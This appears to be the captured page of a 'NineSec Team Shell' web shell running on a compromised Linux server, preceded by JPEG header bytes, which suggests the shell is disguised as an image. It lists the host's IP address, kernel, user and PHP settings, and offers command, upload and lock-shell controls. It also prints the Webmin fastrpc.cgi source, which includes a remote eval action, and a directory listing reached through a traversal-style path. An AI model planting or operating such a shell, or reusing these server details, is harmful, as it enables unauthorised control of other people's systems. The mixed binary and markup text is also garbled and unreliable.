�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /media/../usr/share/javascript/../doc/nodejs/../cpp/../cpp/../node/../../xml/../webmin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../usr/share/javascript/../doc/nodejs/../cpp/../cpp/../node/../../xml/../webmin/fastrpc.cgi
#!/usr/bin/perl
# Handles remote_* function calls by a faster method. When first called
# as a CGI, forks and starts listening on a port which is returned to the
# client. From then on, direct TCP connections can be made to this port
# to send requests and get replies.

BEGIN { push(@INC, "."); };
use WebminCore;
use POSIX;
use Socket;
$force_lang = $default_lang;
&init_config();
print "Content-type: text/plain\n\n";

# Can this user make remote calls?
if (!&webmin_user_can_rpc()) {
	print "0 Invalid user for RPC\n";
	exit;
	}

# Will IPv6 work?
&get_miniserv_config(\%miniserv);
$use_ipv6 = 0;
if ($miniserv{'ipv6'}) {
	eval "use Socket6";
	$use_ipv6 = 1 if (!$@);
	}

# Find a free port
$port = $miniserv{'port'} || 10000;
$aerr = &allocate_socket(MAIN, $use_ipv6 ? MAIN6 : undef, \$port);
if ($aerr) {
	print "0 $aerr\n";
	exit;
	}
if (open(RANDOM, "/dev/urandom")) {
	local $tmpsid;
	read(RANDOM, $tmpsid, 16);
	$sid = lc(unpack('h*', $tmpsid));
	close RANDOM;
	}
else {
	$sid = time()*$$;
	}
$version = &get_webmin_version();
print "1 $port $sid $version\n";

# Fork and listen for calls ..
$pid = fork();
if ($pid < 0) {
	die "fork() failed : $!";
	}
elsif ($pid) {
	exit;
	}
untie(*STDIN);
untie(*STDOUT);

# Accept the TCP connection
local $rmask;
vec($rmask, fileno(MAIN), 1) = 1;
if ($use_ipv6) {
	vec($rmask, fileno(MAIN6), 1) = 1;
	}
$sel = select($rmask, undef, undef, 60);
if ($sel <= 0) {
	print STDERR "fastrpc: accept timed out\n"
		if ($gconfig{'rpcdebug'});
	exit;
	}
if (vec($rmask, fileno(MAIN), 1)) {
	$acptaddr = accept(SOCK, MAIN);
	}
elsif ($use_ipv6 && vec($rmask, fileno(MAIN6), 1)) {
	$acptaddr = accept(SOCK, MAIN6);
	}
else {
	die "No connection on any socket!";
	}
die "accept failed : $!" if (!$acptaddr);
$oldsel = select(SOCK);
$| = 1;
select($oldsel);

$rcount = 0;
while(1) {
	# Wait for the request. Wait longer if this isn't the first one
	local $rmask;
	vec($rmask, fileno(SOCK), 1) = 1;
	local $sel = select($rmask, undef, undef, $rcount ? 360 : 60);
	if ($sel <= 0) {
		print STDERR "fastrpc: session timed out\n"
			if ($gconfig{'rpcdebug'});
		last;
		}

	local $line = <SOCK>;
	last if (!$line);
	local ($len, $auth) = split(/\s+/, $line);
	die "Invalid session ID" if ($auth ne $sid);
	local $rawarg;
	while(length($rawarg) < $len) {
		local $got;
		local $rv = read(SOCK, $got, $len - length($rawarg));
		exit if ($rv <= 0);
		$rawarg .= $got;
		}
	print STDERR "fastrpc: raw $rawarg\n" if ($gconfig{'rpcdebug'});
	local $dumper = substr($rawarg, 0, 5) eq '$VAR1' ? 1 : 0;
	local $arg = &unserialise_variable($rawarg);

	# Process it
	local $rv;
	if ($arg->{'action'} eq 'ping') {
		# Just respond with an OK
		print STDERR "fastrpc: ping\n" if ($gconfig{'rpcdebug'});
		$rv = { 'status' => 1 };
		}
	elsif ($arg->{'action'} eq 'check') {
		# Check if some module is supported
		print STDERR "fastrpc: check $arg->{'module'}\n" if ($gconfig{'rpcdebug'});
		$rv = { 'status' => 1,
			'rv' => &foreign_check($arg->{'module'}, undef, undef,
					       $arg->{'api'}) };
		}
	elsif ($arg->{'action'} eq 'config') {
		# Get the config for some module
		print STDERR "fastrpc: config $arg->{'module'}\n" if ($gconfig{'rpcdebug'});
		local %config = &foreign_config($arg->{'module'});
		$rv = { 'status' => 1, 'rv' => \%config };
		}
	elsif ($arg->{'action'} eq 'write') {
		# Transfer data to a local temp file
		local $file = $arg->{'file'} ? $arg->{'file'} :
			      $arg->{'name'} ? &tempname($arg->{'name'}) :
					       &tempname();
		print STDERR "fastrpc: write $file\n" if ($gconfig{'rpcdebug'});
		open(FILE, ">$file");
		binmode(FILE);
		print FILE $arg->{'data'};
		close(FILE);
		$rv = { 'status' => 1, 'rv' => $file };
		}
	elsif ($arg->{'action'} eq 'tcpwrite') {
		# Transfer data to a local temp file over TCP connection
		local $file = $arg->{'file'} ? $arg->{'file'} :
			      $arg->{'name'} ? &tempname($arg->{'name'}) :
					       &tempname();
		print STDERR "fastrpc: tcpwrite $file\n" if ($gconfig{'rpcdebug'});
		local $tsock = time().$$;
		local $tsock6 = $use_ipv6 ? time().$$."v6" : undef;
		local $tport = $port + 1;
		&allocate_socket($tsock, $tsock6, \$tport);
		if (!fork()) {
			# Accept connection in separate process
			print STDERR "fastrpc: tcpwrite $file port $tport\n" if ($gconfig{'rpcdebug'});
			local $rmask;
			vec($rmask, fileno($tsock), 1) = 1;
			if ($use_ipv6) {
				vec($rmask, fileno($tsock6), 1) = 1;
				}
			local $sel = select($rmask, undef, undef, 30);
			exit if ($sel <= 0);
			if (vec($rmask, fileno($tsock), 1)) {
				accept(TRANS, $tsock) || exit;
				}
			elsif ($use_ipv6 && vec($rmask, fileno($tsock6), 1)) {
				accept(TRANS, $tsock6) || exit;
				}
			print STDERR "fastrpc: tcpwrite $file accepted\n" if ($gconfig{'rpcdebug'});
			local $buf;
			local $err;
			if (open(FILE, ">$file")) {
				binmode(FILE);
				print STDERR "fastrpc: tcpwrite $file writing\n" if ($gconfig{'rpcdebug'});
				my $bs = &get_buffer_size();
				while(read(TRANS, $buf, $bs) > 0) {
					local $ok = (print FILE $buf);
					if (!$ok) {
						$err = "Write to $file failed : $!";
						last;
						}
					}
				close(FILE);
				print STDERR "fastrpc: tcpwrite $file written\n" if ($gconfig{'rpcdebug'});
				}
			else {
				print STDERR "fastrpc: tcpwrite $file open failed $!\n" if ($gconfig{'rpcdebug'});
				$err = "Failed to open $file : $!";
				}
			print TRANS $err ? "$err\n" : "OK\n";
			close(TRANS);
			exit;
			}
		close($tsock);
		close($tsock6);
		print STDERR "fastrpc: tcpwrite $file done\n" if ($gconfig{'rpcdebug'});
		$rv = { 'status' => 1, 'rv' => [ $file, $tport ] };
		}
	elsif ($arg->{'action'} eq 'read') {
		# Transfer data from a file
		print STDERR "fastrpc: read $arg->{'file'}\n" if ($gconfig{'rpcdebug'});
		local ($data, $got);
		open(FILE, "<$arg->{'file'}");
		binmode(FILE);
		my $bs = &get_buffer_size();
		while(read(FILE, $got, $bs) > 0) {
			$data .= $got;
			}
		close(FILE);
		$rv = { 'status' => 1, 'rv' => $data };
		}
	elsif ($arg->{'action'} eq 'tcpread') {
		# Transfer data from a file over TCP connection
		print STDERR "fastrpc: tcpread $arg->{'file'}\n" if ($gconfig{'rpcdebug'});
		if (-d $arg->{'file'}) {
			$rv = { 'status' => 1, 'rv' => [ undef, "$arg->{'file'} is a directory" ] };
			}
		elsif (!open(FILE, "<$arg->{'file'}")) {
			$rv = { 'status' => 1, 'rv' => [ undef, "Failed to open $arg->{'file'} : $!" ] };
			}
		else {
			binmode(FILE);
			local $tsock = time().$$;
			local $tsock6 = $use_ipv6 ? time().$$."v6" : undef;
			local $tport = $port + 1;
			&allocate_socket($tsock, $tsock6, \$tport);
			if (!fork()) {
				# Accept connection in separate process
				local $rmask;
				vec($rmask, fileno($tsock), 1) = 1;
				if ($use_ipv6) {
					vec($rmask, fileno($tsock6), 1) = 1;
					}
				local $sel = select($rmask, undef, undef, 30);
				exit if ($sel <= 0);
				if (vec($rmask, fileno($tsock), 1)) {
					accept(TRANS, $tsock) || exit;
					}
				elsif (vec($rmask, fileno($tsock6), 1)) {
					accept(TRANS, $tsock6) || exit;
					}
				local $buf;
				while(read(FILE, $buf, 1024) > 0) {
					print TRANS $buf;
					}
				close(FILE);
				close(TRANS);
				exit;
				}
			close(FILE);
			close($tsock);
			close($tsock6);
			print STDERR "fastrpc: tcpread $arg->{'file'} done\n" if ($gconfig{'rpcdebug'});
			$rv = { 'status' => 1, 'rv' => [ $arg->{'file'}, $tport ] };
			}
		}
	elsif ($arg->{'action'} eq 'require') {
		# require a library
		print STDERR "fastrpc: require $arg->{'module'}/$arg->{'file'}\n" if ($gconfig{'rpcdebug'});
		eval {
			&foreign_require($arg->{'module'},
					 $arg->{'file'});
			};
		if ($@) {
			print STDERR "fastrpc: require error $@\n" if ($gconfig{'rpcdebug'});
			$rv = { 'status' => 0, 'rv' => $@ };
			}
		else {
			print STDERR "fastrpc: require done\n" if ($gconfig{'rpcdebug'});
			$rv = { 'status' => 1 };
			}
		}
	elsif ($arg->{'action'} eq 'call') {
		# execute a function
		print STDERR "fastrpc: call $arg->{'module'}::$arg->{'func'}(",join(",", @{$arg->{'args'}}),")\n" if ($gconfig{'rpcdebug'});
		local @rv;
		eval {
			local $main::error_must_die = 1;
			@rv = &foreign_call($arg->{'module'},
					    $arg->{'func'},
					    @{$arg->{'args'}});
			};
		if ($@) {
			print STDERR "fastrpc: call error $@\n" if ($gconfig{'rpcdebug'});
			$rv = { 'status' => 0, 'rv' => $@ };
			}
		elsif (@rv == 1) {
			$rv = { 'status' => 1, 'rv' => $rv[0] };
			}
		else {
			$rv = { 'status' => 1, 'arv' => \@rv };
			}
		print STDERR "fastrpc: call $arg->{'module'}::$arg->{'func'} done = ",join(",", @rv),"\n" if ($gconfig{'rpcdebug'});
		}
	elsif ($arg->{'action'} eq 'eval') {
		# eval some perl code
		print STDERR "fastrpc: eval $arg->{'module'} $arg->{'code'}\n" if ($gconfig{'rpcdebug'});
		local $erv;
		if ($arg->{'module'}) {
			local $pkg = $arg->{'module'};
			$pkg =~ s/[^A-Za-z0-9]/_/g;
			$erv = eval "package $pkg;\n".
				   $arg->{'code'}."\n";
			}
		else {
			$erv = eval $arg->{'code'};
			}
		print STDERR "fastrpc: eval $arg->{'module'} $arg->{'code'} done = $rv error = $@\n" if ($gconfig{'rpcdebug'});
		if ($@) {
			$rv = { 'status' => 0, 'rv' => $@ };
			}
		else {
			$rv = { 'status' => 1, 'rv' => $erv };
			}
		}
	elsif ($arg->{'action'} eq 'quit') {
		print STDERR "fastrpc: quit\n" if ($gconfig{'rpcdebug'});
		$rv = { 'status' => 1 };
		}
	else {
		print STDERR "fastrpc: unknown $arg->{'action'}\n" if ($gconfig{'rpcdebug'});
		$rv = { 'status' => 0 };
		}
	$rawrv = &serialise_variable($rv, $dumper);

	# Send back to the client
	print SOCK length($rawrv),"\n";
	print SOCK $rawrv;
	last if ($arg->{'action'} eq 'quit');
	$rcount++;
	}

# allocate_socket(handle, ipv6-handle, &port)
sub allocate_socket
{
local ($fh, $fh6, $port) = @_;
local $proto = getprotobyname('tcp');
if (!socket($fh, PF_INET, SOCK_STREAM, $proto)) {
	return "socket failed : $!";
	}
setsockopt($fh, SOL_SOCKET, SO_REUSEADDR, pack("l", 1));
if ($fh6) {
	if (!socket($fh6, PF_INET6(), SOCK_STREAM, $proto)) {
		return "socket6 failed : $!";
		}
	setsockopt($fh6, SOL_SOCKET, SO_REUSEADDR, pack("l", 1));
	setsockopt($fh6, 41, 26, pack("l", 1));	# IPv6 only
	}
while(1) {
	$$port++;
	$pack = pack_sockaddr_in($$port, INADDR_ANY);
	next if (!bind($fh, $pack));
	if ($fh6) {
		$pack6 = pack_sockaddr_in6($$port, in6addr_any());
		next if (!bind($fh6, $pack6));
		}
	last;
	}
listen($fh, SOMAXCONN) || return "listen failed : $!";
if ($fh6) {
	listen($fh6, SOMAXCONN) || return "listen6 failed : $!";
	}
return undef;
}


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
acl
--
December 13 2023 9:43:47
root
0755
adsl-client
--
December 13 2023 9:43:47
root
0755
apache
--
December 13 2023 9:43:47
root
0755
at
--
December 13 2023 9:43:47
root
0755
authentic-theme
--
December 13 2023 9:45:33
root
0755
backup-config
--
December 13 2023 9:43:47
root
0755
bacula-backup
--
December 13 2023 9:43:47
root
0755
bandwidth
--
December 13 2023 9:43:47
root
0755
bin
--
December 13 2023 9:43:47
root
0755
bind8
--
December 13 2023 9:43:47
root
0755
blue-theme
--
December 13 2023 9:43:47
root
0755
change-user
--
December 13 2023 9:43:47
root
0755
cluster-copy
--
December 13 2023 9:43:47
root
0755
cluster-cron
--
December 13 2023 9:43:47
root
0755
cluster-passwd
--
December 13 2023 9:43:47
root
0755
cluster-shell
--
December 13 2023 9:43:47
root
0755
cluster-software
--
December 13 2023 9:43:47
root
0755
cluster-useradmin
--
December 13 2023 9:43:47
root
0755
cluster-usermin
--
December 13 2023 9:43:47
root
0755
cluster-webmin
--
December 13 2023 9:43:47
root
0755
cpan
--
December 13 2023 9:43:47
root
0755
cron
--
December 13 2023 9:43:47
root
0755
custom
--
December 13 2023 9:43:47
root
0755
dfsadmin
--
December 13 2023 9:43:47
root
0755
dhcpd
--
December 13 2023 9:43:47
root
0755
dovecot
--
December 13 2023 9:43:47
root
0755
exim
--
December 13 2023 9:43:47
root
0755
exports
--
December 13 2023 9:43:47
root
0755
fail2ban
--
December 13 2023 9:43:47
root
0755
fdisk
--
December 13 2023 9:43:47
root
0755
fetchmail
--
December 13 2023 9:43:47
root
0755
filemin
--
December 13 2023 9:43:47
root
0755
filter
--
December 13 2023 9:43:47
root
0755
firewall
--
December 13 2023 9:43:47
root
0755
firewall6
--
December 13 2023 9:43:47
root
0755
firewalld
--
December 13 2023 9:43:47
root
0755
fsdump
--
December 13 2023 9:43:47
root
0755
gray-theme
--
December 13 2023 9:43:47
root
0755
heartbeat
--
December 13 2023 9:43:47
root
0755
htaccess-htpasswd
--
December 13 2023 9:43:47
root
0755
idmapd
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
inetd
--
December 13 2023 9:43:47
root
0755
init
--
December 13 2023 9:43:47
root
0755
inittab
--
December 13 2023 9:43:47
root
0755
ipfilter
--
December 13 2023 9:43:47
root
0755
ipfw
--
December 13 2023 9:43:47
root
0755
ipsec
--
December 13 2023 9:43:47
root
0755
iscsi-client
--
December 13 2023 9:43:47
root
0755
iscsi-server
--
December 13 2023 9:43:47
root
0755
iscsi-target
--
December 13 2023 9:43:47
root
0755
iscsi-tgtd
--
December 13 2023 9:43:47
root
0755
jailkit
--
October 23 2023 6:29:17
root
0755
krb5
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
ldap-client
--
December 13 2023 9:43:47
root
0755
ldap-server
--
December 13 2023 9:43:47
root
0755
ldap-useradmin
--
December 13 2023 9:43:47
root
0755
logrotate
--
December 13 2023 9:43:47
root
0755
logviewer
--
December 13 2023 9:43:47
root
0755
lpadmin
--
December 13 2023 9:43:47
root
0755
lvm
--
December 13 2023 9:43:47
root
0755
mailboxes
--
December 13 2023 9:43:47
root
0755
mailcap
--
December 13 2023 9:43:47
root
0755
man
--
December 13 2023 9:43:47
root
0755
mount
--
December 13 2023 9:43:47
root
0755
mysql
--
December 13 2023 9:43:47
root
0755
net
--
December 13 2023 9:43:47
root
0755
nis
--
December 13 2023 9:43:47
root
0755
openslp
--
December 13 2023 9:43:47
root
0755
package-updates
--
December 13 2023 9:43:47
root
0755
pam
--
December 13 2023 9:43:47
root
0755
pap
--
December 13 2023 9:43:47
root
0755
passwd
--
December 13 2023 9:43:47
root
0755
php-pear
--
March 29 2022 10:50:27
root
0755
phpini
--
December 13 2023 9:43:47
root
0755
postfix
--
December 13 2023 9:43:47
root
0755
postgresql
--
December 13 2023 9:43:47
root
0755
ppp-client
--
December 13 2023 9:43:47
root
0755
pptp-client
--
December 13 2023 9:43:47
root
0755
pptp-server
--
December 13 2023 9:43:47
root
0755
proc
--
December 13 2023 9:43:47
root
0755
procmail
--
December 13 2023 9:43:47
root
0755
proftpd
--
December 13 2023 9:43:47
root
0755
qmailadmin
--
December 13 2023 9:43:47
root
0755
quota
--
December 13 2023 9:43:47
root
0755
raid
--
December 13 2023 9:43:47
root
0755
ruby-gems
--
March 29 2022 10:50:27
root
0755
samba
--
December 13 2023 9:43:47
root
0755
sarg
--
December 13 2023 9:43:47
root
0755
sendmail
--
December 13 2023 9:43:47
root
0755
servers
--
December 13 2023 9:43:47
root
0755
shell
--
December 13 2023 9:43:47
root
0755
shorewall
--
December 13 2023 9:43:47
root
0755
shorewall6
--
December 13 2023 9:43:47
root
0755
smart-status
--
December 13 2023 9:43:47
root
0755
smf
--
December 13 2023 9:43:47
root
0755
software
--
December 13 2023 9:43:47
root
0755
spam
--
December 13 2023 9:43:47
root
0755
squid
--
December 13 2023 9:43:47
root
0755
sshd
--
December 13 2023 9:43:47
root
0755
status
--
December 13 2023 9:43:47
root
0755
stunnel
--
December 13 2023 9:43:47
root
0755
syslog
--
December 13 2023 9:43:47
root
0755
syslog-ng
--
December 13 2023 9:43:47
root
0755
system-status
--
December 13 2023 9:43:47
root
0755
tcpwrappers
--
December 13 2023 9:43:47
root
0755
time
--
December 13 2023 9:43:47
root
0755
tunnel
--
December 13 2023 9:43:47
root
0755
unauthenticated
--
December 13 2023 9:43:47
root
0755
updown
--
December 13 2023 9:43:47
root
0755
useradmin
--
December 13 2023 9:43:47
root
0755
usermin
--
December 13 2023 9:43:47
root
0755
vendor_perl
--
December 13 2023 9:43:47
root
0755
virtual-server
--
February 12 2024 9:07:27
root
0755
virtualmin-awstats
--
February 14 2023 5:45:14
root
0755
virtualmin-dav
--
March 29 2022 10:50:44
root
0755
virtualmin-git
--
March 29 2022 10:50:44
root
0755
virtualmin-htpasswd
--
October 23 2023 6:29:20
root
0755
virtualmin-init
--
March 29 2022 10:50:45
root
0755
virtualmin-registrar
--
March 29 2022 10:50:46
root
0755
virtualmin-slavedns
--
March 29 2022 10:50:47
root
0755
virtualmin-sqlite
--
March 29 2022 10:50:47
root
0755
webalizer
--
December 13 2023 9:43:47
root
0755
webmin
--
December 13 2023 9:43:47
root
0755
webmincron
--
December 13 2023 9:43:47
root
0755
webminlog
--
December 13 2023 9:43:47
root
0755
xinetd
--
December 13 2023 9:43:47
root
0755
xterm
--
December 13 2023 9:43:47
root
0755
LICENCE
1.48 KB
November 08 2023 4:49:09
root
0644
LICENCE.ja
1.615 KB
November 08 2023 4:49:09
root
0644
README.md
4.254 KB
November 08 2023 4:49:09
root
0644
WebminCore.pm
8.115 KB
November 08 2023 4:49:09
root
0644
acl_security.pl
4.514 KB
November 08 2023 4:49:09
root
0755
changepass.pl
0.848 KB
November 08 2023 4:49:49
root
0755
chooser.cgi
7.214 KB
November 08 2023 4:49:48
root
0755
config-aix
0.222 KB
November 08 2023 4:49:09
root
0644
config-cobalt-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-coherent-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-corel-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-debian-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-freebsd
0.25 KB
November 08 2023 4:49:09
root
0644
config-generic-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-gentoo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-hpux
0.237 KB
November 08 2023 4:49:09
root
0644
config-irix
0.277 KB
November 08 2023 4:49:09
root
0644
config-lib.pl
10.818 KB
November 08 2023 4:49:09
root
0755
config-macos
0.254 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux
0.271 KB
November 08 2023 4:49:09
root
0644
config-msc-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-netbsd
0.276 KB
November 08 2023 4:49:09
root
0644
config-open-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openbsd
0.235 KB
November 08 2023 4:49:09
root
0644
config-openmamba-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-openserver
0.23 KB
November 08 2023 4:49:09
root
0644
config-osf1
0.26 KB
November 08 2023 4:49:09
root
0644
config-pardus-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux
0.273 KB
November 08 2023 4:49:09
root
0644
config-sol-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-solaris
0.407 KB
November 08 2023 4:49:09
root
0644
config-suse-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-syno-linux
0.355 KB
November 08 2023 4:49:09
root
0644
config-trustix-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-turbo-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-united-linux
0.258 KB
November 08 2023 4:49:09
root
0644
config-unixware
0.279 KB
November 08 2023 4:49:09
root
0644
config-windows
0.086 KB
November 08 2023 4:49:09
root
0644
config.cgi
1.551 KB
November 08 2023 4:49:48
root
0755
config_save.cgi
1.636 KB
November 08 2023 4:49:48
root
0755
copyconfig.pl
4.332 KB
November 08 2023 4:49:49
root
0755
create-module.pl
3.95 KB
November 08 2023 4:49:49
root
0755
date_chooser.cgi
2.188 KB
November 08 2023 4:49:48
root
0755
deb-name
0.007 KB
November 08 2023 4:49:49
root
0644
defaultacl
0.096 KB
November 08 2023 4:49:09
root
0644
defaulttheme
0.016 KB
November 08 2023 4:49:09
root
0644
entities_map.txt
1.466 KB
November 08 2023 4:49:09
root
0644
fastrpc.cgi
10.184 KB
November 08 2023 4:49:48
root
0755
favicon.ico
14.732 KB
November 08 2023 4:49:09
root
0644
feedback.cgi
6.366 KB
November 08 2023 4:49:48
root
0755
feedback_form.cgi
3.45 KB
November 08 2023 4:49:48
root
0755
group_chooser.cgi
7.51 KB
November 08 2023 4:49:48
root
0755
help.cgi
2.114 KB
November 08 2023 4:49:48
root
0755
html-editor-lib.pl
17.434 KB
November 08 2023 4:49:09
root
0644
index.cgi
5.61 KB
November 08 2023 4:49:49
root
0755
install-module.pl
1.538 KB
November 08 2023 4:49:49
root
0755
install-type
0.004 KB
November 08 2023 4:49:49
root
0644
javascript-lib.pl
14.689 KB
November 08 2023 4:49:09
root
0755
lang_list.txt
3.405 KB
November 08 2023 4:49:09
root
0644
maketemp.pl
0.414 KB
November 08 2023 4:49:09
root
0755
mime.types
12.418 KB
November 08 2023 4:49:09
root
0644
miniserv.pem
2.899 KB
November 08 2023 4:49:09
root
0644
miniserv.pl
181.17 KB
November 08 2023 4:49:49
root
0755
module_chooser.cgi
4.14 KB
November 08 2023 4:49:48
root
0755
newmods.pl
1.25 KB
November 08 2023 4:49:09
root
0755
os_list.txt
34.343 KB
November 08 2023 4:49:09
root
0644
oschooser.pl
4.546 KB
November 08 2023 4:49:49
root
0755
pam_login.cgi
2.834 KB
November 08 2023 4:49:48
root
0755
password_change.cgi
7.005 KB
November 08 2023 4:49:49
root
0755
password_form.cgi
1.296 KB
November 08 2023 4:49:48
root
0755
perlpath.pl
0.558 KB
November 08 2023 4:49:49
root
0755
record-failed.pl
0.491 KB
November 08 2023 4:49:49
root
0755
record-login.pl
0.501 KB
November 08 2023 4:49:49
root
0755
record-logout.pl
0.504 KB
November 08 2023 4:49:49
root
0755
robots.txt
0.025 KB
November 08 2023 4:49:09
root
0644
rpc.cgi
3.995 KB
November 08 2023 4:49:49
root
0755
run-postinstalls.pl
1 KB
November 08 2023 4:49:49
root
0755
run-uninstalls.pl
0.98 KB
November 08 2023 4:49:49
root
0755
safeacl
0.043 KB
November 08 2023 4:49:09
root
0644
session_login.cgi
3.546 KB
November 08 2023 4:49:49
root
0755
setup-repos.sh
5.145 KB
November 08 2023 4:49:09
root
0755
setup.bat
3.086 KB
November 08 2023 4:49:09
root
0644
setup.pl
31.846 KB
November 08 2023 4:49:49
root
0755
setup.sh
33.085 KB
November 08 2023 4:49:09
root
0755
switch_skill.cgi
0.286 KB
November 08 2023 4:49:48
root
0755
switch_theme.cgi
1.276 KB
November 08 2023 4:49:49
root
0755
switch_user.cgi
0.395 KB
November 08 2023 4:49:49
root
0755
thirdparty.pl
1.732 KB
November 08 2023 4:49:09
root
0755
ui-lib.pl
97.904 KB
November 08 2023 4:49:09
root
0755
update-from-repo.sh
14.8 KB
November 08 2023 4:49:09
root
0755
uptracker.cgi
2.879 KB
November 08 2023 4:49:48
root
0755
user_chooser.cgi
7.394 KB
November 08 2023 4:49:48
root
0755
version
0.006 KB
November 08 2023 4:49:09
root
0644
web-lib-funcs.pl
371.256 KB
November 08 2023 4:49:09
root
0755
web-lib.pl
1.081 KB
November 08 2023 4:49:09
root
0755
webmin-daemon
0.078 KB
November 08 2023 4:49:09
root
0644
webmin-init
1.932 KB
November 08 2023 4:49:09
root
0755
webmin-pam
0.099 KB
November 08 2023 4:49:09
root
0644
webmin-search-lib.pl
9.454 KB
November 08 2023 4:49:09
root
0755
webmin-systemd
0.432 KB
November 08 2023 4:49:09
root
0644
webmin_search.cgi
2.634 KB
November 08 2023 4:49:48
root
0755
xmlrpc.cgi
7.528 KB
November 08 2023 4:49:48
root
0755

NineSec Team - 2022